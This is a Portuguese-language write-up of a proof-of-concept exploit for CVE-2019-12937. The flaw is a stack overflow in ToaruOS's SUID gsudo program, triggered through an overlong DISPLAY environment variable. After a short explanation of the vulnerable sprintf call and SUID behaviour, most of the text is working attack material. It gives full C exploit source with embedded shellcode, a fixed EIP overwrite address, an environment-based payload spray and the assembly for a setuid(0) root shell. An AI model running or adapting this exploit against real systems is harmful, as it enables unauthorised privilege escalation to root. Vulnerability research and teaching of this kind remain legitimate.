
Exploit de prova de conceito para CVE-2019-12937, um buffer overflow no binário gsudo SUID do ToaruOS que permite escalonamento local de privilégios para root através de uma variável de ambiente DISPLAY manipulada.
ToaruOS é um sistema operacional de código aberto escrito em C, desenvolvido como um hobby por um estudante de graduação em Ciência da Computação da Universidade de Illinois. O ToaruOS roda em arquiteturas POSIX e x86. Suas principais funcionalidades incluem suporte a processos e threads, binários ELF, módulos carregáveis em tempo de execução, pipes, vários tipos de terminais (TTY), sistema de arquivos virtual, suporte a EXT2, semáforos, etc.
Existe uma vulnerabilidade de estouro de buffer no arquivo apps/gsudo.c do comando gsudo no ToaruOS versão 1.10.9 e anteriores. Um atacante pode explorar a variável de ambiente DISPLAY para elevar privilégios para root.
Link do projeto ToaruOS 1.10.9
Copie o arquivo poc.c para o sistema ToaruOS e execute no diretório copiado:
gcc -o poc poc.c
./poc
Na função pex_connect, a string é concatenada usando sprintf, mas o comprimento do parâmetro target não é verificado, causando estouro de pilha quando target é longo demais.
FILE * pex_connect(char * target) {
char tmp[100];
sprintf(tmp, "/dev/pex/%s", target);
FILE * out = fopen(tmp, "r+");
if (out) {
setbuf(out, NULL);
}
return out;
}
O parâmetro target é o valor da variável de ambiente DISPLAY.
yutani_t * yutani_init(void) {
char * server_name = getenv("DISPLAY");
if (!server_name) {
server_name = "compositor";
}
FILE * c = pex_connect(server_name);
if (!c) {
return NULL; /* Conexão falhou. */
}
......
......
}
O programa gsudo chama a função yutani_init. gsudo é um programa com privilégio SUID, portanto é executado como root, e a vulnerabilidade de estouro acima pode ser usada para escalonamento de privilégios.
int main(int argc, char ** argv) {
if (argc < 2) {
return 1;
}
yctx = yutani_init();
....
....
}
Programas SUID criam permissões s e t, permitindo que usuários comuns executem certos programas com os privilégios do proprietário do arquivo.
Abaixo, teste do processo de execução de um programa SUID.
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
void main()
{
int res;
res = setuid(0);
printf("%d\n",res);
system("/bin/sh");
}
A função setuid define a identidade do usuário atual. Quando o parâmetro é 0, define o processo atual como root. Após chamar setuid, execute o shell e observe o usuário atual.
akashic@ubuntu:~/Kanxue/CVE-2019-12937_ToaruOS$ gcc -o setuid setuid.c
akashic@ubuntu:~/Kanxue/CVE-2019-12937_ToaruOS$ ./setuid
-1
$ whoami
akashic
$ exit
akashic@ubuntu:~/Kanxue/CVE-2019-12937_ToaruOS$ sudo chown root ./setuid
[sudo] password for akashic:
akashic@ubuntu:~/Kanxue/CVE-2019-12937_ToaruOS$ sudo chmod u+s ./setuid
akashic@ubuntu:~/Kanxue/CVE-2019-12937_ToaruOS$ ./setuid
0
# whoami
root
# exit
No ToaruOS, após a inicialização do sistema, todos os programas são carregados via fork até exec_elf, e os privilégios do processo são os do processo pai. Quando um programa tem permissão setuid, os privilégios do processo são definidos como os do proprietário do arquivo.
O estouro ocorre em um programa com privilégio SUID, então o estouro de pilha pode ser usado para escalonamento de privilégios.
No ToaruOS, não há randomização de pilha, randomização de heap, pilha não executável, etc. Esses mecanismos de proteção estão ausentes, tornando a exploração bastante simples, mas também não há ferramentas de depuração como gdb, exigindo um pouco mais de esforço.
Através do estouro de pilha, controlamos o eip para o endereço do nosso payload de escalonamento. O código pode ser executado na pilha, e o endereço da pilha é fixo. Colocamos o payload na pilha usando a variável environ. Os endereços de argv e environ são impressos diretamente.
#include <stdio.h>
extern char **environ;
void main(int argc, char *argv[])
{
printf("argv:%x\t\t\n",argv);
printf("environ:%x\t\n",env);
return 0;
}
Resultado:
argv: 3f00c00c
environ: 3f022010
Defina o valor da variável de ambiente, controle o valor do eip para ficar entre argv e environ. O endereço do eip não pode conter o caractere \x00. Preencha com instruções Nop para contornar.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define EIP "\xb0\xb0\x01\x3f"
#define EIP_DISTANCE 25U
char shellcode[] = {
0x31, 0xc0, 0x04, 0x18, 0x31, 0xdb, 0xcd, 0x7f, 0xeb, 0x1a, 0x5b, 0x31,
0xc0, 0x88, 0x43, 0x07, 0x89, 0x5b, 0x08, 0x89, 0x43, 0x0c, 0x04, 0x07,
0x8d, 0x4b, 0x08, 0x8d, 0x53, 0x0c, 0xcd, 0x7f, 0x31, 0xc0, 0xcd, 0x7f,
0xe8, 0xe1, 0xff, 0xff, 0xff, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68,
0x68, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x00
};
unsigned int shellcode_length = 57;
int main(void)
{
char payload[65536];
char vector[8192] = "DISPLAY=Akashic";
char * const arg[3] = { "/bin/gsudo", "meh", NULL };
char * const env[3] = { payload, vector, NULL };
memset(payload, 'A', sizeof(payload) - shellcode_length - 1);
payload[sizeof(payload) - shellcode_length - 1] = 0;
strcat(payload, shellcode);
for (unsigned int i = 0; i < EIP_DISTANCE; i++)
strcat(vector, EIP);
execve("/bin/gsudo", arg, env);
perror("execve()");
exit(EXIT_FAILURE);
}
No payload, primeiro executa setuid(0) para definir os privilégios do processo atual e depois executa system("/bin/shh") para retornar um shell. O ToaruOS chama funções do sistema via int 0x7f. Os números das chamadas de sistema estão em syscall_nums.h: setuid corresponde a 24, system corresponde a 7.
xor eax, eax
add al, 24
xor ebx, ebx
int 0x7f
jmp short end
start:
pop ebx
xor eax, eax
mov [ebx+7], al
mov [ebx+8], ebx
mov [ebx+12], eax
add al, 7
lea ecx, [ebx+8]
lea edx, [ebx+12]
int 0x7f
xor eax, eax
int 0x7f
end:
call start
db "/bin/shh"
db "XXXXXXXX"